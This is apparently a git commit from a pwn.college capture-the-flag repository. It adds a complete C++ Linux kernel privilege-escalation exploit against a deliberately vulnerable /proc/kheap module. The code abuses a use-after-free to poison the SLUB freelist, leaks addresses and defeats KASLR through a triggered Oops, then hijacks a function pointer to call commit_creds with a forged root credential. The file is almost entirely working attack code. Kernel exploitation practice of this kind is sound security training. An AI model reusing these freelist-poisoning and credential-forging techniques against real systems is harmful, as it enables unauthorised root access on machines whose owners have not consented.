Updated Level3 of KernelExploitation

PwnCollege/KernelExploitation/.gitignore

@@ -1 +1,3 @@
-!*.ko
+!*.ko
+
+vmlinux

PwnCollege/KernelExploitation/Level3/exploit.cpp

@@ -0,0 +1,229 @@
+#include <cstdio>
+#include <cstring>
+#include <cstdint>
+#include <cstdlib>
+#include <ctime>
+#include <vector>
+
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define CMD_COPY_TO_USER 0x5700
+#define CMD_COPY_FROM_USER 0x5701
+#define CMD_EXE_FUNC_PTR 0x5702
+#define CMD_FREE_CHUNK 0x5703
+
+// Unrandomized
+// nm -a /challenge/vmlinux | grep symbol_name
+const uint64_t kernel_base    = 0xffffffff81000000ull; // _text
+const uint64_t commit_creds   = 0xffffffff810b8bb0ull; // commit_creds
+const uint64_t root_user      = 0xffffffff82a51560ull; // root_user
+const uint64_t init_user_ns		= 0xffffffff82a51600ull; // init_user_ns
+const uint64_t init_ucounts		= 0xffffffff82a53800ull; // init_ucounts
+const uint64_t init_groups		= 0xffffffff82a52fd8ull; // init_groups
+const uint64_t init_cred      = 0xffffffff82a52f20ull; // init_cred
+const uint64_t _printk_rb_static_infos = 0xffffffff82a58c20ull; // _printk_rb_static_infos
+// nm -a /challenge/challenge3.ko | grep symbol_name
+const uint64_t do_print       = 0x10ull;               // do_print
+// Randomized
+uint64_t kernel_ASLR_offset = 0;
+uint64_t _printk_rb_static_infos_randomized = 0;
+uint64_t kernel_base_randomized = 0;
+uint64_t commit_creds_randomized = 0;
+
+struct cred {
+  uint64_t usage;
+  uint32_t uid;
+  uint32_t gid;
+  uint32_t suid;
+  uint32_t sgid;
+  uint32_t euid;
+  uint32_t egid;
+  uint32_t fsuid;
+  uint32_t fsgid;
+  unsigned int securebits;
+  uint64_t cap_inheritable;
+  uint64_t cap_permitted;
+  uint64_t cap_effective;
+  uint64_t cap_bset;
+  uint64_t cap_ambient;
+  unsigned char jit_keyring;
+  void *session_keyring;
+  void *process_keyring;
+  void *thread_keyring;
+  void *request_key_auth;
+  void *security;
+  void *user;
+  void *user_ns;
+  void *ucounts;
+  void *group_info;
+  union {
+    int non_rcu;
+    struct {
+      void *next;
+      void (*func)(void *head);
+    } rcu __attribute__((aligned(sizeof(void *))));
+  };
+};
+
+char buf[0x1000];
+struct kheap_req_t {
+  void * ubuf;
+  size_t size;
+} req = {buf, 0};
+
+
+int new_fd() {
+  return open("/proc/kheap", O_RDWR);
+}
+
+// Refer to 
+// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
+// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
+void do_fake_cred(struct cred *fake_cred, void* security) {
+  memset(fake_cred, 0, sizeof(struct cred));
+  // placement new
+  new (fake_cred) cred {
+    .usage			= 1,
+    .uid			= 0,
+    .gid			= 0,
+    .suid			= 0,
+    .sgid			= 0,
+    .euid			= 0,
+    .egid			= 0,
+    .fsuid			= 0,
+    .fsgid			= 0,
+    .securebits		= 0,
+    .cap_inheritable	= 0,
+    .cap_permitted		= 0xFFFFFFFFFFFFFFFF,
+    .cap_effective		= 0xFFFFFFFFFFFFFFFF,
+    .cap_bset		= 0xFFFFFFFFFFFFFFFF,
+    // nm -a /challenge/vmlinux | grep symbol_name
+    .security = security,
+    .user			= (void*)(kernel_ASLR_offset + root_user),
+    .user_ns		= (void*)(kernel_ASLR_offset + init_user_ns),
+    .ucounts		= (void*)(kernel_ASLR_offset + init_ucounts),
+    .group_info		= (void*)(kernel_ASLR_offset + init_groups),
+  };
+}
+
+const int max_buffer_size = 0x1D0;
+const int freelist_ptr_offset_to_buf = 0xE0;
+const int fake_chunk_offset = 0x10;
+const int buf_to_chunk_start_offset = 0x8;
+const int module_data_offset = 0x2000;
+const int struct_module_offset_to_data = 0xC0;
+
+int main() {
+  req.size = max_buffer_size;
+
+  int fd1 = new_fd();
+  // Free chunk of `fd1`
+  ioctl(fd1, CMD_FREE_CHUNK, &req);
+  // Freelist: fd1 -> fd2 -> fd3 -> ...
+  // Use after Free chunk of `fd1`
+  ioctl(fd1, CMD_COPY_TO_USER, &req);
+  // Read `ptr` of freed chunk of `fd1` -- `fd2`
+  uint64_t fd2_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
+  printf("fd2_ptr: %p\n", fd2_ptr);
+  // Regain the same chunk of `fd1` -- `fd1_dup` to get chunk of `fd2` in next steps
+  int fd1_dup = new_fd();
+  int fd2 = new_fd();
+  // Free chunk of `fd2`
+  ioctl(fd2, CMD_FREE_CHUNK, &req);
+  // Freelist: fd2 -> fd3 -> ...
+  // Read `ptr` of freed chunk of `fd2` -- `fd3`
+  ioctl(fd2, CMD_COPY_TO_USER, &req);
+  uint64_t fd3_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
+  printf("fd3_ptr: %p\n", fd3_ptr);
+  // Set `ptr` to `fd2` + fake_chunk_offset
+  *(uint64_t *)&buf[freelist_ptr_offset_to_buf] = fd2_ptr + fake_chunk_offset;
+  ioctl(fd2, CMD_COPY_FROM_USER, &req);
+  // Freelist: fd2 -> fd2 + fake_chunk_offset -> 0
+  // Regain the same chunk of `fd2` -- `fd2_dup` to get chunk of `fd2` + fake_chunk_offset in next steps
+  int fd2_dup = new_fd();
+  // Set `ptr` of faked `fd2` + fake_chunk_offset to `fd3` to recover the corrupted state of freelist
+  *(uint64_t *)&buf[freelist_ptr_offset_to_buf + fake_chunk_offset] = fd3_ptr;
+  ioctl(fd2, CMD_COPY_FROM_USER, &req);
+  // Freelist: fd2 + fake_chunk_offset -> fd3 -> ...
+  int fd2_fake = new_fd();
+  // Freelist: fd3 -> ...
+  // Now, the offset between chunk of `fd2` and chunk of `fd2_fake` is `fake_chunk_offset`
+  // Try to leak address of kernel module symbol `do_print`
+  ioctl(fd2, CMD_COPY_TO_USER, &req);
+  uint64_t do_print_ptr = *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset];
+  printf("do_print_ptr: %p\n", do_print_ptr);
+  uint64_t kernel_module_base = do_print_ptr - do_print;
+  printf("kernel_module_base: %p\n", kernel_module_base);
+  // set the func ptr to an invalid value
+  *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = 0x4142434445464748ull;
+  ioctl(fd2, CMD_COPY_FROM_USER, &req);
+  
+  // Fork a child process to trigger an Oops to leak kernel base.
+  // NOTE that both child and parent process keep reference to 
+  // the file descriptors, so even if the child process crashed,
+  // parent process still holds them so the freelist chain won't be
+  // corrupted meanwhile reducing the exploit development complexity.
+  int child_pid = fork();
+  if (child_pid == -1) {
+    perror("fork failed");
+    exit(EXIT_FAILURE);
+  }
+  if (child_pid == 0) {
+    // Child process
+    printf("Child process triggering kernel Oops.\n");
+    ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
+    // Expected Oops there
+    printf("Unreachable path!\n");
+    exit(EXIT_FAILURE);
+  }
+  // Parent process
+  wait(nullptr);
+  printf("Parent process waiting finished.\n");
+  // In kernel Oops message,
+  // r10 is `_printk_rb_static_infos`
+  // r11 is `_printk_rb_static_descs`
+  printf("Please input r10 in hex form, e.g. ffffffffb4458c20:\n");
+  scanf("%llx", &_printk_rb_static_infos_randomized);
+  kernel_ASLR_offset = _printk_rb_static_infos_randomized - _printk_rb_static_infos;
+  kernel_base_randomized = kernel_base + kernel_ASLR_offset;
+  printf("kernel_base: %p\n", kernel_base_randomized);
+  // Validate via `sudo cat /proc/kallsyms | grep " _text"`
+  commit_creds_randomized = commit_creds + kernel_ASLR_offset;
+
+  // set the func ptr to randomized `commit_creds`
+  *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = commit_creds_randomized;
+  ioctl(fd2, CMD_COPY_FROM_USER, &req);
+  // fake a `struct cred` in `fd2_fake`
+  struct cred fake_cred;
+  uint64_t security_addr = fd2_ptr + fake_chunk_offset + 8 + sizeof(struct cred);
+  do_fake_cred(&fake_cred, (void *)security_addr);
+  memcpy(buf, &fake_cred, sizeof(struct cred));
+  ioctl(fd2_fake, CMD_COPY_FROM_USER, &req);
+  // execute function pointer in kernel space
+  ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
+  // try change the mode of flag
+  chmod("/flag", 0777);
+
+  return 0;
+}
+
+// Protection:
+// - KASLR on.
+// - SMAP, SMEP On.
+// - CONFIG_SLAB_FREELIST_RANDOM=y
+// - CONFIG_SLAB_FREELIST_HARDENED=n
+// - CONFIG_RANDSTRUCT=n
+
+// Debug:
+// Use `sudo cat /proc/modules` to get kernel module base.
+// gdb> add-symbol-file /challenge/challenge3.ko [ModuleBase]
+// gdb> b kheap_open
+// gdb> b kheap_ioctl
+// An aligned slub slot is 0x200 bytes, original slub slot is 0x1D8 bytes.
+
+// $ g++ exploit.cpp -o exploit -g